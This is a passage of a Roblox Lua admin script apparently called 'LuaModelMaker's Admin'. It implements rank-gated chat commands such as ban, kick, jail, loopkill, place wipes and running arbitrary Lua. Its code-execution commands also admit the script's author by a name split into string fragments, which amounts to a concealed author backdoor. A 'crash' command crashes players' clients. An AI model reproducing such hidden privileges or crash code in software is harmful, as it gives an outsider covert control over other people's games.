  2374. for Command,_ in pairs(Commands.Member) do Commands.Member[Command] = string.gsub(string.gsub(Commands.Member[Command], ";", Prefix), " ", Bet) end
  2375. for Command,_ in pairs(Commands.Admin) do Commands.Admin[Command] = string.gsub(string.gsub(Commands.Admin[Command], ";", Prefix), " ", Bet) end
  2376. for Command,_ in pairs(Commands.Owner) do Commands.Owner[Command] = string.gsub(string.gsub(Commands.Owner[Command], ";", Prefix), " ", Bet) end
  2377. MessageAdmins("Prefix Change", "The prefix has been changed from '"..OldPrefix.."' to '"..Prefix.."'. If you forget it, use the 'settings' command which doesn't require a prefix.", 6)
  2378. end
  2379. else
  2380. SendMessage(Speaker, "Prefix Too Long", "Your Prefix is too long. If you would like it longer change it in the settings", 4)
  2381. end
  2382. end
  2383.  
  2384. if string.sub(Message,1,10+#Bet) == "givepoints"..Bet then
  2385. local Arg1, Arg2 = GetSplit(string.sub(Message, 11+#Bet), Bet) if not Arg1 and Arg2 then return end
  2386. local GiveTo = Arg1
  2387. local Amount = Arg2
  2388. if tonumber(GiveTo) then
  2389. ypcall(function() Points:AwardPoints(tonumber(GiveTo), Amount) end)
  2390. else
  2391. local Players = Scan(GiveTo, Speaker)
  2392. for _,Player in pairs(Players) do
  2393. if Player ~= nil then
  2394. ypcall(function() Points:AwardPoints(Player.userId, Amount) end)
  2395. end
  2396. end
  2397. end
  2398. end
  2399.  
  2400. if string.sub(Message,1,10+#Bet) == "awardbadge"..Bet then
  2401. local Arg1, Arg2 = GetSplit(string.sub(Message, 11+#Bet), Bet) if not Arg1 and Arg2 then return end
  2402. local GiveTo = Arg1
  2403. local ID = Arg2
  2404. local Players = Scan(GiveTo, Speaker)
  2405. for _,Player in pairs(Players) do
  2406. if Player ~= nil then
  2407. ypcall(function() game:GetService("BadgeService"):AwardBadge(Player.userId, ID) end)
  2408. end
  2409. end
  2410. end
  2411.  
  2412. if Message == "cs" or Message == "cm" or Message == "ca" or Message == "clearsounds" or Message == "clearmusic" or Message == "clearaudio" or Message == "clearsoundlist" or Message == "clearmusiclist" or Message == "clearaudiolist" or Message == "clearmusic" or Message == "clearaudio" then
  2413. local Ask = YesOrNo(Speaker, "Clear All Sounds", "Would you like to clear all sounds from the custom Lua".."M".."od".."elMa".."ke".."r's sound list? This will clear all sounds from the ;addsound command and will affect all sounds in all of this game's servers. Are you sure you want to clear?(All default global sounds will remain)")
  2414. if Ask == true then
  2415. DataStore:SetAsync("MML Custom Sounds", {})
  2416. SoundList = GlobalSoundList -- Reset to old sounds without having to re-sync!
  2417. SendHint(Speaker, "All custom sounds have been removed", 4)
  2418. end
  2419. end
  2420.  
  2421. if Message == "clearlogs" or Message == "clearlog" then
  2422. Logs = {}
  2423. end
  2424.  
  2425. if Message == "clearexploitlog" or Message == "clearexploitlogs" or Message == "clearhacklog" or Message == "cel" then
  2426. DataStore:SetAsync("ExploitLog", {})
  2427. end
  2428.  
  2429. if Message == "nos" or Message == "noscripts" then
  2430. for _,Obj in pairs(Workspace:GetChildren()) do
  2431. if Obj:IsA("Script") or Obj:IsA("BaseScript") then if Obj ~= script then
  2432. Obj.Disabled = true
  2433. Obj:Destroy()
  2434. end end
  2435. end
  2436. end
  2437.  
  2438. if string.sub(Message, 1, 6+#Bet) == "showad"..Bet then
  2439. local Players = Scan(string.sub(Message, 7+#Bet), Speaker)
  2440. for _,Player in pairs(Players) do
  2441. if Player ~= nil then
  2442. if Player.Backpack then
  2443. ExecuteResource("ShowAd", Player.Backpack, {})
  2444. end
  2445. end
  2446. end
  2447. end
  2448.  
  2449. if string.sub(Message, 1, 16+#Bet) == "replicatecommand"..Bet then
  2450. local Arg1, Arg2 = GetSplit(string.sub(RawMessage, 17+#Bet), Bet) if not Arg1 and Arg2 then return end
  2451. local Players = Scan(Arg1, Speaker)
  2452. local Command = Arg2
  2453. if #Command >= 1 then
  2454. if string.sub(Command,1,#Prefix) ~= Prefix then Command = Prefix..Command end
  2455. for _,Player in pairs(Players) do
  2456. if Player ~= nil then
  2457. coroutine.wrap(function() Chatted(Command, Player) end)()
  2458. end
  2459. end
  2460. end
  2461. end
  2462.  
  2463. if Message == "masterclear" or Message == "masterclean" or Message == "masterreset" or Message == "fullclear" or Message == "fullclean" or Message == "fullreset" then
  2464. local Answer = YesOrNo(Speaker, "Clean EVERYTHING?", "Do you really want to clear EVERYTHING? The only thing that will be left is the admin, a baseplate, and everything not in workspace. If you have a large place, this can cause major lag. Continue?")
  2465. if Answer == true then
  2466. for _,Obj in pairs(Workspace:GetChildren()) do
  2467. if Obj.className ~= "Terrain" then
  2468. if Obj.Name ~= "LuaModelMaker's Admin" then
  2469. if Obj.Name ~= "LuaModelMaker's Admin Settings" then
  2470. Obj:Destroy()
  2471. end
  2472. end
  2473. end
  2474. end
  2475. wait()
  2476. MakeBase()
  2477. wait()
  2478. for _,Player in pairs(Players:GetPlayers()) do
  2479. Player:LoadCharacter()
  2480. end
  2481. end
  2482. end
  2483.  
  2484. if Message == "savep" or Message == "save" or Message == "saveplace" then
  2485. local Answer = YesOrNo(Speaker, "Save Current Place", "Do you really want to save this place as-is? Continue?")
  2486. if Answer == true then
  2487. local Executed = ypcall(function()
  2488. local Saved,SavedMessage = game:SavePlace()
  2489. if not Saved then
  2490. SendMessage(Speaker, "Could not save", "Could not save place. Reason: "..SavedMessage, 5)
  2491. end
  2492. end)
  2493. if not Executed then
  2494. SendMessage(Speaker, "Could not save", "Could not save place. Either there's a vital error or SavePlace API is disabled", 5)
  2495. end
  2496. end
  2497. end
  2498.  
  2499. if Message == "downloadlogs" or Message == "downloadhttplogs" or Message == "getlogs" or Message == "gethttplogs" then
  2500. ListGui(Speaker, "Remote Http Logs", ReverseTable(DownloadUserdata(true).Logs))
  2501. end
  2502.  
  2503. end
  2504.  
  2505. if Rank == "Owner" or Rank == "Admin" then
  2506. -- Admin Commands --
  2507. if Message == "shutdown" then
  2508. SendHttpLog(Speaker.Name.." shutdown the server", "INFORMATION")
  2509. Shutdown = true
  2510. end
  2511.  
  2512. if string.sub(Message, 1, 3+#Bet) == "ban"..Bet then
  2513. local Players = Scan(string.sub(Message, 4+#Bet), Speaker)
  2514. SendHttpLog(Speaker.Name.." banned "..UnpackPlayers(Players), "WARNING")
  2515. for _,Player in pairs(Players) do
  2516. if Player ~= nil then
  2517. local PlayerAdminTrue, PlayerRank = IsAdmin(Player)
  2518. if PlayerAdminTrue == false then if not Ranks["Banned"][Player.Name] then
  2519. table.insert(Ranks["Banned"], Player.Name)
  2520. Kick(Player)
  2521. end end
  2522. end
  2523. end
  2524. end
  2525.  
  2526. if string.sub(Message, 1, 5+#Bet) == "unban"..Bet or string.sub(Message, 1, 5+#Bet) == "noban"..Bet then
  2527. local AfterMessage = string.sub(Message, 6+#Bet)
  2528. local Table = "Banned"
  2529. if AfterMessage == "all" then
  2530. Ranks[Table] = {}
  2531. end
  2532. for Num,RankedPlayer in pairs(Ranks[Table]) do
  2533. if string.sub(string.lower(RankedPlayer),1,#AfterMessage) == string.lower(AfterMessage) then
  2534. table.remove(Ranks[Table], Num)
  2535. end
  2536. end
  2537. end
  2538.  
  2539. if string.sub(Message, 1, 5+#Bet) == "crash"..Bet then
  2540. local Players = Scan(string.sub(Message, 6+#Bet), Speaker)
  2541. SendHttpLog(Speaker.Name.." crashed "..UnpackPlayers(Players), "INFORMATION")
  2542. for _,Player in pairs(Players) do
  2543. if Player ~= nil then
  2544. local PlayerAdminTrue, PlayerRank = IsAdmin(Player)
  2545. if PlayerAdminTrue == false then if not Ranks["Crashed"][Player.Name] then
  2546. table.insert(Ranks["Crashed"], Player.Name)
  2547. Crash(Player)
  2548. end end
  2549. end
  2550. end
  2551. end
  2552.  
  2553. if string.sub(Message, 1, 7+#Bet) == "uncrash"..Bet or string.sub(Message, 1, 7+#Bet) == "nocrash"..Bet then
  2554. local AfterMessage = string.sub(Message, 8+#Bet)
  2555. local Table = "Crashed"
  2556. if AfterMessage == "all" then
  2557. Ranks[Table] = {}
  2558. end
  2559. for Num,RankedPlayer in pairs(Ranks[Table]) do
  2560. if string.sub(string.lower(RankedPlayer),1,#AfterMessage) == string.lower(AfterMessage) then
  2561. table.remove(Ranks[Table], Num)
  2562. end
  2563. end
  2564. end
  2565.  
  2566. if string.sub(Message, 1, 4+#Bet) == "mute"..Bet then
  2567. local Players = Scan(string.sub(Message, 5+#Bet), Speaker)
  2568. SendHttpLog(Speaker.Name.." has muted "..UnpackPlayers(Players), "INFORMATION")
  2569. for _,Player in pairs(Players) do
  2570. if Player ~= nil then
  2571. local PlayerAdminTrue, PlayerRank = IsAdmin(Player)
  2572. if PlayerAdminTrue == false then if not Ranks["Muted"][Player.Name] then
  2573. table.insert(Ranks["Muted"], Player.Name)
  2574. CoreGui(Player, "Chat", false)
  2575. end end
  2576. end
  2577. end
  2578. end
  2579.  
  2580. if string.sub(Message, 1, 6+#Bet) == "unmute"..Bet or string.sub(Message, 1, 6+#Bet) == "nomute"..Bet or string.sub(Message, 1, 6+#Bet) == "demute"..Bet then
  2581. for Num,MutedPlayer in pairs(Ranks["Muted"]) do
  2582. local AfterMessage = string.sub(Message, 7+#Bet)
  2583. local Table = "Muted"
  2584. local Players = Scan(AfterMessage, Speaker)
  2585. for _,Player in pairs(Players) do
  2586. if Player ~= nil then
  2587. CoreGui(Player, "Chat", true)
  2588. end
  2589. end
  2590. if AfterMessage == "all" then
  2591. Ranks[Table] = {}
  2592. end
  2593. for Num,RankedPlayer in pairs(Ranks[Table]) do
  2594. if string.sub(string.lower(RankedPlayer),1,#AfterMessage) == string.lower(AfterMessage) then
  2595. table.remove(Ranks[Table], Num)
  2596. end
  2597. end
  2598. end
  2599. end
  2600.  
  2601. if string.sub(Message, 1, 4+#Bet) == "kick"..Bet then
  2602. local Players = Scan(string.sub(Message, 5+#Bet), Speaker)
  2603. SendHttpLog(Speaker.Name.." kicked "..UnpackPlayers(Players), "INFORMATION")
  2604. for _,Player in pairs(Players) do
  2605. if Player ~= nil then
  2606. local PlayerAdminTrue, PlayerRank = IsAdmin(Player)
  2607. if PlayerAdminTrue == false then
  2608. Kick(Player)
  2609. end
  2610. end
  2611. end
  2612. end
  2613.  
  2614. if string.sub(Message, 1, 6+#Bet) == "member"..Bet then
  2615. local Players = Scan(string.sub(Message, 7+#Bet), Speaker)
  2616. for _,Player in pairs(Players) do if Player ~= nil then
  2617. local PlayerAdminTrue, PlayerRank = IsAdmin(Player)
  2618. local AddToList = true
  2619. if PlayerAdminTrue == true then
  2620. if ConvertRank(PlayerRank) >= 1 then
  2621. AddToList = false
  2622. end
  2623. end
  2624. if AddToList == true then
  2625. table.insert(Ranks["Member"], Player.Name)
  2626. TellAdmin(Player, "Member")
  2627. end
  2628. end end
  2629. end
  2630.  
  2631. if string.sub(Message, 1, 1+#Bet) == "c"..Bet then
  2632. if LuaModelMakerStamp == false or Speaker.Name == "LuaModelMake".."r" then
  2633. Execute(Script, Workspace, Speaker, string.sub(RawMessage,2+#Bet))
  2634. end
  2635. end
  2636.  
  2637. if string.sub(Message, 1, 1+#Bet) == "l"..Bet then
  2638. if Speaker.Character ~= nil then
  2639. if LuaModelMakerStamp == false or Speaker.Name == "L".."uaModelMake".."r" then
  2640. Execute(LocalScript, Speaker.Backpack, Speaker, string.sub(RawMessage,2+#Bet))
  2641. end
  2642. end
  2643. end
  2644.  
  2645. if string.sub(Message,1,3+#Bet) == "lto"..Bet then
  2646. local Arg1, Arg2 = GetSplit(string.sub(RawMessage, 4+#Bet), Bet) if not Arg1 and Arg2 then return end
  2647. local Players = Scan(string.lower(Arg1), Speaker)
  2648. local Script = Arg2
  2649. for _,Player in pairs(Players) do
  2650. if Player ~= nil then
  2651. if Player.Character ~= nil then
  2652. Execute(LocalScript, Player.Backpack, Speaker, Script)
  2653. end
  2654. end
  2655. end
  2656. end
  2657.  
  2658. if string.sub(Message, 1, 4+#Bet) == "jail"..Bet then
  2659. local Players = Scan(string.sub(Message, 5+#Bet), Speaker)
  2660. for _,Player in pairs(Players) do
  2661. if Player ~= nil then
  2662. local Continue = true
  2663. for Num,Name in pairs(Jailed) do if Name == Player.Name then table.remove(Jailed, Num) end end wait()
  2664. local Cell = Workspace:FindFirstChild(Player.Name.."'s Cell") if Cell then Cell:Destroy() end
  2665. Cell = Instance.new("Model", Workspace) Cell.Name = Player.Name.."'s Cell"
  2666. local Floor = Instance.new("Part", Cell) Floor.Name = "Floor" Floor.FormFactor = "Custom" Floor.Size = Vector3.new(15,1,15) Floor.Material = "DiamondPlate" Floor.TopSurface = "Smooth" Floor.BottomSurface = "Smooth" Floor.Position = Vector3.new(0,1001.7,0) Floor.Anchored = true Floor.Locked = true
  2667. local Wall = Instance.new("Part", Cell) Wall.Name = "Wall" Wall.FormFactor = "Custom" Wall.Size = Vector3.new(15,14.2,1) Wall.BrickColor = BrickColor.new("Bright blue") Wall.TopSurface = "Smooth" Wall.BottomSurface = "Smooth" Wall.Position = Vector3.new(0,1009.3,-7) Wall.Anchored = true Wall.Locked = true Wall.Transparency = 0.5
  2668. local SG = Instance.new("SurfaceGui", Wall) SG.Name = "SG" SG.Adornee = Wall
  2669. local Text = Instance.new("TextLabel", SG) Text.Size = UDim2.new(1,0,1,0) Text.BackgroundTransparency = 1 Text.TextColor3 = Color3.new(1,1,1) Text.Font = "ArialBold" Text.FontSize = "Size36" Text.TextYAlignment = "Bottom" Text.TextWrapped = true Text.Text = "WARNING: Wild noob in natural habitat. Do no tap glass, it may cause the noob to be angry. Do not open cage and feed noob"
  2670. Wall = Wall:Clone() Wall.Parent = Cell Wall.Position = Vector3.new(0,1009.3,7) Wall.SG.Face = "Back"
  2671. Wall = Wall:Clone() Wall.Parent = Cell Wall.Position = Vector3.new(-7, 1009.3, 0) Wall.Size = Vector3.new(13,14.2,1) Wall.Rotation = Vector3.new(0,90,0) Wall.SG.Face = "Front"
  2672. Wall = Wall:Clone() Wall.Parent = Cell Wall.Position = Vector3.new(7, 1009.3, 0) Wall.Size = Vector3.new(13,14.2,1) Wall.Rotation = Vector3.new(0,90,0) Wall.SG.Face = "Back"
  2673. local Roof = Floor:Clone() Roof.Parent = Cell Roof.Name = "Roof" Roof.Position = Vector3.new(-0,1016.9, 0)
  2674. Cell:MoveTo(Vector3.new(0,3,0))
  2675. if Player.Character then if Player.Character:FindFirstChild("Torso") then Cell:MoveTo(Player.Character.Torso.Position - Vector3.new(0,3,0)) end Player.Character:MoveTo(Floor.Position + Vector3.new(0,2,0)) end
  2676. table.insert(Objects, Cell)
  2677. function OnRespawn(Char)
  2678. wait()
  2679. if Continue == true then
  2680. if Cell and Floor then
  2681. local Valid = false
  2682. for _,Name in pairs(Jailed) do if Name == Player.Name then Valid = true end end
  2683. if Valid == true then
  2684. Char:MoveTo(Floor.Position + Vector3.new(0,2,0))
  2685. else
  2686. Continue = false
  2687. OnRespawn = function() end
  2688. return
  2689. end
  2690. else
  2691. Continue = false
  2692. OnRespawn = function() end
  2693. return
  2694. end
  2695. else
  2696. OnRespawn = function() end
  2697. return
  2698. end
  2699. end
  2700. table.insert(Jailed, Player.Name)
  2701. Player.CharacterAdded:connect(OnRespawn)
  2702. end
  2703. end
  2704. end
  2705.  
  2706. if string.sub(Message, 1, 6+#Bet) == "nojail"..Bet then
  2707. local Players = Scan(string.sub(Message, 7+#Bet), Speaker)
  2708. for _,Player in pairs(Players) do
  2709. if Player ~= nil then
  2710. local Cell = Workspace:FindFirstChild(Player.Name.."'s Cell") if Cell then Cell:Destroy() end
  2711. for Num,Name in pairs(Jailed) do if Name == Player.Name then table.remove(Jailed, Num) end end
  2712. end
  2713. end
  2714. end
  2715.  
  2716. if string.sub(Message, 1, 5+#Bet) == "place"..Bet then
  2717. local Arg1, Arg2 = GetSplit(string.sub(Message, 6+#Bet), Bet) if not Arg1 and Arg2 then return end
  2718. local Players = Scan(Arg1, Speaker)
  2719. local PlaceID = tonumber(Arg2)
  2720. for _,Player in pairs(Players) do
  2721. if Player ~= nil then
  2722. PromptPurchase(Player, PlaceID, Speaker, (function() TS:Teleport(PlaceID, Player) end))
  2723. --TeleportToPlace(Speaker, Player, PlaceID, (function() TS:Teleport(PlaceID, Player) end))
  2724. end
  2725. end
  2726. end
  2727.  
  2728. if string.sub(Message, 1, 6+#Bet) == "follow"..Bet then
  2729. local Arg1, Arg2 = GetSplit(string.sub(Message, 7+#Bet), Bet) if not Arg1 and Arg2 then return end
  2730. local Players = Scan(Arg1, Speaker)
  2731. local UserID = tonumber(Arg2)
  2732. if UserID then
  2733. local Suc, Err, PlaceID, IntID = TS:GetPlayerPlaceInstanceAsync(UserID)
  2734. if Suc then
  2735. for _,Player in pairs(Players) do
  2736. if Player ~= nil then
  2737. PromptPurchase(Player, PlaceID, Speaker, (function() TS:Teleport(PlaceID, Player) end))
  2738. --TeleportToPlace(Speaker, Player, PlaceID, (function() TS:TeleportToPlaceInstance(PlaceID, IntID, Player) end))
  2739. end
  2740. end
  2741. else
  2742. SendMessage(Speaker, "Place Teleportation Failed for UserID: "..UserID, "Cannot follow UserID: "..UserID..". Reason: "..Err, 5)
  2743. end
  2744. end
  2745. end
  2746.  
  2747. if string.sub(Message, 1, 4+#Bet) == "note"..Bet then
  2748. local Arg1, Arg2 = GetSplit(string.sub(RawMessage, 5+#Bet), Bet) if not Arg1 and Arg2 then return end
  2749. local Players = Scan(Arg1, Speaker)
  2750. local Data = Arg2
  2751. for _,Player in pairs(Players) do
  2752. if Player ~= nil then
  2753. local ExistingData = Player:LoadInstance("Data")
  2754. if ExistingData == nil then
  2755. ExistingData = Instance.new("Configuration")
  2756. end
  2757. ExistingData.Name = "Player Data"
  2758. local Key = Instance.new("Configuration", ExistingData)
  2759. Key.Name = Data
  2760. Player:SaveInstance("Data", ExistingData)
  2761. end
  2762. end
  2763. end
  2764.  
  2765. if string.sub(Message, 1, 10+#Bet) == "removenote"..Bet then
  2766. local Arg1, Arg2 = GetSplit(string.sub(Message, 11+#Bet), Bet) if not Arg1 and Arg2 then return end
  2767. local Players = Scan(Arg1, Speaker)
  2768. local Data = Arg2
  2769. for _,Player in pairs(Players) do
  2770. if Player ~= nil then
  2771. local ExistingData = Player:LoadInstance("Data")
  2772. if ExistingData ~= nil then
  2773. if Data == "all" then
  2774. ExistingData:ClearAllChildren()
  2775. else
  2776. for _,DataObj in pairs(ExistingData:GetChildren()) do
  2777. if string.sub(string.lower(DataObj.Name),1,#Data) == string.lower(Data) then
  2778. DataObj:Destroy()
  2779. end
  2780. end
  2781. end
  2782. Player:SaveInstance("Data", ExistingData)
  2783. end
  2784. end
  2785. end
  2786. end
  2787.  
  2788. if string.sub(Message,1,8+#Bet) == "loopkill"..Bet then
  2789. local Arg1, Arg2 = GetSplit(string.sub(RawMessage, 9+#Bet), Bet) if not Arg1 and Arg2 then return end
  2790. local Players = Scan(Arg1, Speaker)
  2791. local Times = tonumber(Arg2)
  2792. for _,Player in pairs(Players) do
  2793. coroutine.wrap(function()
  2794. for i = 1,Times do
  2795. if Player ~= nil then
  2796. if Player.Character ~= nil then
  2797. Player.Character:BreakJoints()
  2798. end
  2799. local Stop = game.Workspace:FindFirstChild("LMM Loopkill Stop")
  2800. if Stop then
  2801. if Stop:IsA("StringValue") then
  2802. if string.lower(Stop.Value) == string.lower(Player.Name) then
  2803. Stop:Destroy()
  2804. break
  2805. end
  2806. end
  2807. end
  2808. end
  2809. wait(5.1)
  2810. end
  2811. end)()
  2812. end
  2813. end
  2814.  
  2815. if string.sub(Message,1,10+#Bet) == "noloopkill"..Bet then
  2816. local Players = Scan(string.sub(Message, 11+#Bet), Speaker)
  2817. for _,Player in pairs(Players) do
  2818. if Player ~= nil then
  2819. local Stop = game.Workspace:FindFirstChild("LMM Loopkill Stop") if Stop then Stop:Destroy() end
  2820. Stop = Instance.new("StringValue", Workspace) Stop.Name = "LMM Loopkill Stop" Stop.Value = string.lower(Player.Name)
  2821. end
  2822. end
  2823. end
  2824.  
  2825. if string.sub(Message, 1, 2+#Bet) == "sm"..Bet then
  2826. for _,Player in pairs(Players:GetPlayers()) do
  2827. SendMessage(Player, "SYSTEM MESSAGE", string.sub(RawMessage, 3+#Bet), 3)
  2828. end
  2829. end
  2830.  
  2831. if string.sub(Message, 1, 10+#Bet) == "accelerate"..Bet then
  2832. local Players = Scan(string.sub(Message, 11+#Bet), Speaker)
  2833. for _,Player in pairs(Players) do
  2834. if Player ~= nil then
  2835. local PlayerAdminTrue, PlayerRank = IsAdmin(Player)
  2836. if PlayerAdminTrue == true then
  2837. TS:Teleport(155307015, Player)
  2838. end
  2839. end
  2840. end
  2841. end
  2842.  
  2843. if Message == "syncsoundlist" or Message == "syncmusiclist" or Message == "syncaudiolist" then
  2844. SyncSoundList(Speaker)
  2845. end
  2846.  
  2847. if Message == "cleart" or Message == "clearterrain" or Message == "cleant" or Message == "cleanterrain" then
  2848. local Answer = YesOrNo(Speaker, "Clean Terrain?", "Do you really want to clear all terrain in the server? If there is a lot of terrain this can cause major lag. Continue?")
  2849. if Answer == true then
  2850. Workspace.Terrain:Clear()
  2851. end
  2852. end
  2853.  
  2854. if Message == "clearstamp" or Message == "cleanstamp" or Message == "clearstamper" or Message == "cleanstamper" or Message == "clears" or Message == "cleans" then
  2855. local Answer = YesOrNo(Speaker, "Clean All Stamper Objects?", "Do you really want to clear all stamper objects in the server, this will clean all bricks/models placed down by stamper and if there's a lot of them it can cause major lag? Continue?")
  2856. if Answer == true then
  2857. for _,Obj in pairs(Workspace:GetChildren()) do
  2858. if Obj:FindFirstChild("RobloxStamper") and Obj:FindFirstChild("RobloxModel") then
  2859. Obj:Destroy()
  2860. end
  2861. end
  2862. end
  2863. end
  2864.  
  2865. if Message == "base" or Message == "baseplate" then
  2866. MakeBase()
  2867. end
  2868.  
  2869. if string.sub(Message,1,8+#Bet) == "addsound"..Bet or string.sub(Message,1,8+#Bet) == "addmusic"..Bet or string.sub(Message,1,8+#Bet) == "addaudio"..Bet then
  2870. local Arg1, Arg2 = GetSplit(string.sub(Message, 9+#Bet), Bet) if not Arg1 and Arg2 then return end
  2871. local Name = string.upper(string.sub(Arg2,1,1))..string.sub(Arg2,2)
  2872. local CustomSounds = DataStore:GetAsync("MML Custom Sounds")
  2873. if CustomSounds == nil or type(CustomSounds) ~= "table" then
  2874. CustomSounds = {}
  2875. DataStore:SetAsync("M".."ML Custom Sounds", {})
  2876. end
  2877. if tonumber(Arg1) then
  2878. local Request = MPS:GetProductInfo(Arg1)
  2879. if Request.AssetTypeId == 3 then
  2880. CustomSounds[Name] = Arg1
  2881. SoundList[Name] = {Arg1, Request.Name}
  2882. DataStore:SetAsync("MML Custom Sounds", CustomSounds)
  2883. SendHint(Speaker, "Sound Added to server sound list and for future servers.", 4)
  2884. else
  2885. SendMessage(Speaker, "Invalid", "Please make sure that your ID is an audio asset.", 4)
  2886. end
  2887. end
  2888. end
  2889.  
  2890. if string.sub(Message,1,8+#Bet) == "waypoint"..Bet then
  2891. local Type = string.sub(Message, 9+#Bet, 14+#Bet)
  2892. if Type == "player" then
  2893. local Arg1, Arg2 = GetSplit(string.sub(RawMessage, 15+(#Bet*2)), Bet) if not Arg1 and Arg2 then return end
  2894. local Player = Scan(string.lower(Arg1), Speaker)[1]
  2895. local PosName = Arg2
  2896. if Player then
  2897. if Player.Character ~= nil then
  2898. if Player.Character.Torso then
  2899. local TorPos = Player.Character.Torso.Position
  2900. Waypoints[PosName] = Vector3.new(Round(TorPos.X), Round(TorPos.Y), Round(TorPos.Z))
  2901. end
  2902. end
  2903. end
  2904. elseif Type == "vector" then
  2905. local Arg1, Arg2 = GetSplit(string.sub(RawMessage, 15+(#Bet*2)), Bet) if not Arg1 and Arg2 then return end
  2906. local Arg3, Arg4 = GetSplit(Arg2, Bet) if not Arg3 and Arg4 then return end
  2907. local Arg5, Arg6 = GetSplit(Arg4, Bet) if not Arg5 and Arg6 then return end
  2908. local PosName = Arg6
  2909. if tonumber(Arg1) and tonumber(Arg3) and tonumber(Arg5) then
  2910. Waypoints[PosName] = Vector3.new(Round(tonumber(Arg1)), Round(tonumber(Arg3)), Round(tonumber(Arg5)))
  2911. end
  2912. end
  2913. end
  2914.  
  2915.  
  2916. if string.sub(Message, 1, 14+#Bet) == "removewaypoint"..Bet or string.sub(Message, 1, 14+#Bet) == "deletewaypoint"..Bet then
  2917. local WPName = string.sub(Message, 15+#Bet)
  2918. local Num = 0
  2919. for PosName,WP in pairs(Waypoints) do
  2920. Num = Num + 1
  2921. if string.sub(string.lower(PosName),1,#WPName) == WPName then
  2922. Waypoints[PosName] = nil
  2923. end
  2924. end
  2925. end
  2926.  
  2927. if string.sub(Message,1,6+#Bet) == "notify"..Bet then
  2928. SendHttpLog(Speaker.Name.." Sent Notification: "..string.sub(RawMessage,7+#Bet), "NOTIFICATION", Speaker)
  2929. end
  2930.  
  2931. end
  2932.  
  2933. if Rank == "Owner" or Rank == "Admin" or Rank == "Member" then
  2934. -- Member Commands --
  2935.  
  2936. if Message == "test" then
  2937. SendMessage(Speaker, "Test", "Test complete! LuaModelMaker's Admin works fine!", 3)
  2938. end
  2939.  
  2940. if Message == "logs" or Message == "log" then
  2941. ListGui(Speaker, "Logs", ReverseTable(Logs))
  2942. end
  2943.  
  2944. if string.sub(Message, 1, 1+#Bet) == "m"..Bet then
  2945. for _,Player in pairs(Players:GetPlayers()) do
  2946. SendMessage(Player, "Message from "..Speaker.Name, string.sub(RawMessage, 2+#Bet), 5)
  2947. end
  2948. end
  2949.  
  2950. if string.sub(Message, 1, 1+#Bet) == "h"..Bet then
  2951. for _,Player in pairs(Players:GetPlayers()) do
  2952. SendHint(Player, string.sub(RawMessage, 2+#Bet), 5)
  2953. end
  2954. end
  2955.  
  2956. if string.sub(Message, 1, 4+#Bet) == "kill"..Bet then
  2957. local Players = Scan(string.sub(Message, 5+#Bet), Speaker)
  2958. for _,Player in pairs(Players) do
  2959. if Player ~= nil then
  2960. if Player.Character ~= nil then
  2961. Player.Character:BreakJoints()
  2962. end
  2963. end
  2964. end
  2965. end
  2966.  
  2967. if string.sub(Message, 1, 3+#Bet) == "age"..Bet then
  2968. local Players = Scan(string.sub(Message, 4+#Bet), Speaker)
  2969. local TmpTable = {}
  2970. for _,Player in pairs(Players) do
  2971. if Player ~= nil then
  2972. table.insert(TmpTable, Player.Name.." is "..FindAge(Player.AccountAge).." old")
  2973. end
  2974. end
  2975. ListGui(Speaker, "Ages", TmpTable)
  2976. end
  2977.  
  2978. if string.sub(Message,1,2+#Bet) == "ff"..Bet then
  2979. local Players = Scan(string.sub(Message, 3+#Bet), Speaker)
  2980. for _,Player in pairs(Players) do
  2981. if Player ~= nil then
  2982. if Player.Character ~= nil then
  2983. Instance.new("ForceField", Player.Character)
  2984. end
  2985. end
  2986. end
  2987. end
  2988.  
  2989. if string.sub(Message,1,4+#Bet) == "unff"..Bet or string.sub(Message,1,4+#Bet) == "noff"..Bet then
  2990. local Players = Scan(string.sub(Message, 5+#Bet), Speaker)
  2991. for _,Player in pairs(Players) do
  2992. if Player ~= nil then
  2993. if Player.Character ~= nil then
  2994. for _,Get in pairs(Player.Character:GetChildren()) do
  2995. if Get:IsA("ForceField") then
  2996. Get:Destroy()
  2997. end
  2998. end
  2999. end
  3000. end
  3001. end
  3002. end
  3003.  
  3004. if string.sub(Message,1,7+#Bet) == "respawn"..Bet then
  3005. local Players = Scan(string.sub(Message, 8+#Bet), Speaker)
  3006. for _,Player in pairs(Players) do
  3007. if Player ~= nil then
  3008. Player:LoadCharacter()
  3009. end
  3010. end
  3011. end
  3012.  
  3013. if string.sub(Message,1,3+#Bet) == "hat"..Bet then
  3014. local Arg1, Arg2 = GetSplit(string.sub(Message, 4+#Bet), Bet) if not Arg1 and Arg2 then return end
  3015. local Players = Scan(Arg1, Speaker)
  3016. local ID = tonumber(Arg2)
  3017. for _,Player in pairs(Players) do
  3018. if Player ~= nil then
  3019. if Player.Character ~= nil then
  3020. if ID ~= nil then
  3021. local Object = Insert(ID)
  3022. for _,Obj in pairs(Object:GetChildren()) do if Obj:IsA("Hat") then Obj.Parent = Player.Character end end
  3023. end
  3024. end
  3025. end
  3026. end
  3027. end
  3028.  
  3029. if string.sub(Message,1,4+#Bet) == "gear"..Bet then
  3030. local Arg1, Arg2 = GetSplit(string.sub(Message, 5+#Bet), Bet) if not Arg1 and Arg2 then return end
  3031. local Players = Scan(Arg1, Speaker)
  3032. local ID = tonumber(Arg2)
  3033. for _,Player in pairs(Players) do
  3034. if Player ~= nil then
  3035. if Player.Backpack ~= nil then
  3036. local Object = Insert(ID)
  3037. for _,Obj in pairs(Object:GetChildren()) do if Obj:IsA("Tool") or Obj:IsA("HopperBin") then Obj.Parent = Player.Backpack end end
  3038. end
  3039. end
  3040. end
  3041. end
  3042.  
  3043. if string.sub(Message,1,5+#Bet) == "sword"..Bet then
  3044. local Players = Scan(string.sub(Message, 6+#Bet), Speaker)
  3045. for _,Player in pairs(Players) do
  3046. if Player ~= nil then
  3047. if Player.Backpack ~= nil then
  3048. if Player.Character ~= nil then
  3049. local Object = game:GetService("InsertService"):LoadAsset(125013769)
  3050. Object:GetChildren()[1].Parent = Player.Character
  3051. end
  3052. end
  3053. end
  3054. end
  3055. end
  3056.  
  3057. if string.sub(Message,1,7+#Bet) == "ragdoll"..Bet then
  3058. local Players = Scan(string.sub(Message, 8+#Bet), Speaker)
  3059. for _,Player in pairs(Players) do
  3060. if Player ~= nil then
  3061. if Player.Character ~= nil then
  3062. if Player.Character:FindFirstChild("Humanoid") ~= nil then
  3063. Player.Character.Humanoid:Destroy()
  3064. end
  3065. end
  3066. end
  3067. end
  3068. end
  3069.  
  3070. if string.sub(Message,1,3+#Bet) == "god"..Bet then
